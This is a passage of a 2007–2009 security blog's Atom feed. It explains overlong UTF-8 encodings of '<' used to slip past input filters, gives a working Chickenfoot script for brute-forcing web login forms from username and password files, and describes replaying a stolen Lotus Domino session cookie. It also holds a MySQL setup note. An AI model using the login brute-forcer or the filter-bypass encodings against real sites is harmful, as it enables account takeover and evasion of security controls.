0000 0800-0000 FFFF       1110xxxx 10xxxxxx 10xxxxxx
0001 0000-001F FFFF       11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
0020 0000-03FF FFFF       111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
0400 0000-7FFF FFFF       1111110x 10xxxxxx ... 10xxxxxx

Encoding from UCS-4 to UTF-8 proceeds as follows:

1) Determine the number of octets required from the character value
and the first column of the table above.  It is important to note
that the rows of the table are mutually exclusive, i.e. there is
only one valid way to encode a given UCS-4 character.

2) Prepare the high-order bits of the octets as per the second column
of the table.

3) Fill in the bits marked x from the bits of the character value,
starting from the lower-order bits of the character value and
putting them first in the last octet of the sequence, then the
next to last, etc. until all x bits are filled in.

The algorithm for encoding UCS-2 (or Unicode) to UTF-8 can be
obtained from the above, in principle, by simply extending each
UCS-2 character with two zero-valued octets.  However, pairs of
UCS-2 values between D800 and DFFF (surrogate pairs in Unicode
parlance), being actually UCS-4 characters transformed through
UTF-16, need special treatment: the UTF-16 transformation must be
undone, yielding a UCS-4 character that is then transformed as
above.

&lt;/pre&gt;
Let's now explain how to create different UTF-8 representations of the same char following the afore mentioned rules.
Let's take for example the "&lt;" (less than sign.). If we look at the table (2) we'll see that the HEX encoding for "&lt;" is:&lt;br&gt;&lt;br&gt;
&lt;table align="center" border="1" cellpadding="10" cellspacing="1"&gt;
&lt;tbody&gt;&lt;tr align="center"&gt;
&lt;td&gt;&lt;b&gt;ASCII&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;HEX&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;BINARY&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr align="center"&gt;
&lt;td&gt;&lt;&lt;/td&gt;
&lt;td&gt;%3C&lt;/td&gt;
&lt;td&gt;00111100&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br&gt;
If we look at the binary representation we can see that is perfectly valid as it follows the pattern: &lt;b&gt;0xxxxxxx&lt;/b&gt;

but what if we would like to use two octets (overly long representation) to encode 00111100 (our less than sign)?

To do so let's split it in 2 chunks of 6 and 2 elements:

&lt;span style="color:red;"&gt;00&lt;/span&gt;&lt;span style="color:blue;"&gt; 111100&lt;/span&gt;

and let's start by substituting the x's with our two chunks, from low order to high order bits ( right to left ) and padding the remaining bits with 0's.

&lt;br&gt;
&lt;table align="center" border="1" cellpadding="10" cellspacing="1"&gt;
&lt;tbody&gt;&lt;tr align="center"&gt;
&lt;td&gt;
&lt;/td&gt;
&lt;td&gt;1st octet&lt;/td&gt;
&lt;td&gt;2nd octet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr align="center"&gt;
&lt;td&gt;
&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;110&lt;/span&gt;xxxxx&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;10&lt;/span&gt;xxxxxx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr align="center"&gt;
&lt;td&gt;BINARY&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;110&lt;/span&gt;000&lt;span style="color:red;"&gt;00&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;10&lt;/span&gt;&lt;span style="color:blue;"&gt;111100&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr align="center"&gt;
&lt;td&gt;HEX&lt;/td&gt;
&lt;td&gt;%C0&lt;/td&gt;
&lt;td&gt;%BC&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br&gt;
Now analogously if we want to use a three octects encoding we have:
&lt;br&gt;
&lt;table align="center" border="1" cellpadding="10" cellspacing="1"&gt;
&lt;tbody&gt;&lt;tr align="center"&gt;
&lt;td&gt;
&lt;/td&gt;
&lt;td&gt;1st octet&lt;/td&gt;
&lt;td&gt;2nd octet&lt;/td&gt;
&lt;td&gt;3rd octet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr align="center"&gt;
&lt;td&gt;
&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;1110&lt;/span&gt;xxxx&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;10&lt;/span&gt;xxxxxx&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;10&lt;/span&gt;xxxxxx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr align="center"&gt;
&lt;td&gt;BINARY&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;1110&lt;/span&gt;0000&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;10&lt;/span&gt;0000&lt;span style="color:red;"&gt;00&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style="color:green;"&gt;10&lt;/span&gt;&lt;span style="color:blue;"&gt;111100&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr align="center"&gt;
&lt;td&gt;HEX&lt;/td&gt;
&lt;td&gt;%E0&lt;/td&gt;
&lt;td&gt;%80&lt;/td&gt;
&lt;td&gt;%BC&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br&gt;
Thanks to these encodings the guy at: http://i8jesus.com/?p=55 managed to bypass SiteMinder filters.

A great thank to my colleague daigoro for helping me in understanding this subject better.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-8314057835086713268?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/8314057835086713268/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=8314057835086713268' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/8314057835086713268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/8314057835086713268'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2009/06/bodytable-font-familycourier-font.html' title='Overly long UTF-8 encoding explained by a non byte eater'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-8309150280364925140</id><published>2007-11-30T17:32:00.000+01:00</published><updated>2007-11-30T17:59:08.478+01:00</updated><title type='text'>Chickenfoot dictionary attack</title><content type='html'>Hello everyone...
This time we'll learn how to write a very cool script using a superset of javascript functions. This is achieved through a firefox extension called chickenfoot that you can install from &lt;a href="http://groups.csail.mit.edu/uid/chickenfoot/install.html"&gt;here&lt;/a&gt;.
The script will automate the filling of username and password given two different files.

&lt;!--
include("fileio.js");
//file containing password is chickenpwd
pwd = read('chickenpwd');
//file containing password is chickenusr
usr = read('chickenusr');
var s = '';
var arrusr = {};
var arrpwd = {};
i=0;
j=0;
//since pwd is an array we compose the single passwords words concatenating the single chars
while (i != pwd.length)
{
    s += pwd[i];
    if (pwd[i] == '\n')
    {
        arrpwd[j] = s;
        j++;
        s = '';
    }
    
    i++;
}

s = '';
i = 0;
j = 0;
while (i != usr.length)
{
    s += usr[i];
    if (usr[i] == '\n')
    {
        arrusr[j] = s;
        j++;
        s = '';
    }
    
    i++;
}

//we fill now the fields with user and password obtained by cycling the relative arrays.

for (i=0; i&lt;arrusr.length;i++)

{

for (j=0;j&lt;arrpwd.length;j++)

{
    //change Username and Password to your correct fields names.
    enter("Username",arrusr[i]);
    enter("Password",arrpwd[j]);
    //change Invia to your "Submit button" name
    click("Invia");
    sleep(1);

}

}
--&gt;
If you receive an error its probably because the script doesn't find the fileio.js file.
In this case you can find it on your system , open it and copy the content before my script begins.

Credits also go to my friend "Daigoro"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-8309150280364925140?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/8309150280364925140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=8309150280364925140' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/8309150280364925140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/8309150280364925140'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2007/11/chickenfoot-dictionary-attack.html' title='Chickenfoot dictionary attack'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-4935628752053032327</id><published>2007-11-23T11:30:00.001+01:00</published><updated>2007-11-23T12:00:43.253+01:00</updated><title type='text'>MySql painless deployment on Slackware</title><content type='html'>&lt;span style="font-size:100%;"&gt;Hello everyone....I've decided to use my blog as a repository of material not strictly related to security so as to post more often and most of all to keep a track of useful configuration.
As you can infer from the title we are going through a quick and painless MySql deployment on Slackware (my one and only distro of choice).

First of all download MySql package from a slackware repository and install it with:&lt;/span&gt;

- installpkg MySql-ver.tgz

then we need to install the db with:

- mysql_install_db

change the permission of the mysql library to mysql user

- cd /var/lib/;chown -R mysql:mysql mysql

finally fire up the mysql daemon
- /usr/bin/mysqld_safe &amp;amp;

If you want to start the daemon at start-up you gotta issue:

- chmod a+x /etc/rc.d/rc.mysqld

This concludes the little guide.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-4935628752053032327?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/4935628752053032327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=4935628752053032327' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/4935628752053032327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/4935628752053032327'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2007/11/mysql-painless-deployment-on-slackware.html' title='MySql painless deployment on Slackware'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-249158786855363736</id><published>2007-08-10T14:36:00.000+02:00</published><updated>2007-08-16T10:09:05.501+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBM Lotus Domino token session hijacking'/><title type='text'>Lotus Domino Session Hijacking</title><content type='html'>Hi everyone, I've been very busy lately so this is why I haven't posted for so long...
By the way, &lt;span style="font-style: italic;"&gt;I might &lt;/span&gt;have discovered a new vulnerability in Lotus Domino Web Access.

Here's what I've found
As soon as you successfully authenticate to the Lotus Notes Web Interface, you receive a session token called DomAuthSessId.
I've discovered that if you steal this token from a logged user, and set it in your browser then you can impersonate the victim.

Obviously Lotus Notes allow the same user to authenticate concurrently from two different IPs.

The Lotus Notes version were 5 and 6. To steal the cookie you can use the commom methods, like sniffing, using XSS etc.

To view and set the cookie you can use a very nice firefox extension called web developer toolbar.

As a side note this article was posted on bugtraq but was refused, the answer was:

"Hmm this doesn't seem out of the ordinary for a webmail application --
the trick is stealing the token in the first place"

Now...I've tested the same thing on openwebmail and that didn't work, so to me It doesn't look so normal.

As for stealing the cookie, we have already talked about it.


Credits also go to my collegue Dave Nigro for helping me testing the vulnerability.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-249158786855363736?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/249158786855363736/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=249158786855363736' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/249158786855363736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/249158786855363736'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2007/08/lotus-domino-session-hijacking.html' title='Lotus Domino Session Hijacking'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8560078847754934499.post-9041167791917387962</id><published>2007-05-21T17:52:00.000+02:00</published><updated>2007-05-21T18:14:35.906+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Welcome'/><title type='text'>My first post</title><content type='html'>Hi everyone, I wanna introduce myself to you...

I'm a computer enthusiastic (geek), mainly self-taught that works, at the moment, as a paid ethical hacker.

English is not my native language so please bear with me if you encounter any errors.

As a self-taught person I often found that the real problem is not to find computer related articles on the web, but to find quality articles.

For quality I mean articles explained very clearly, but that often implies a very deep knowledge of the subject treated by writer.

I think that many people write some useless posts just to show-off, copying and pasting from all around.

My aim is to do the opposite, e.g. write about IT or IT Sec. related matters in a way that most of the people can understand.

I also invite you to partecipate in with comments that can better the resulting post.

Stay tuned more to come soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8560078847754934499-9041167791917387962?l=inner-knowledge.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://inner-knowledge.blogspot.com/feeds/9041167791917387962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8560078847754934499&amp;postID=9041167791917387962' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/9041167791917387962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8560078847754934499/posts/default/9041167791917387962'/><link rel='alternate' type='text/html' href='http://inner-knowledge.blogspot.com/2007/05/my-first-post.html' title='My first post'/><author><name>Cl@rity_533k4</name><uri>http://www.blogger.com/profile/14393825629015510845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_Azlmeb3D3S4/S4e5eQ_L5HI/AAAAAAAAACg/5aAy3WVyp0c/S220/badoo.jpg'/></author><thr:total>0</thr:total></entry></feed>
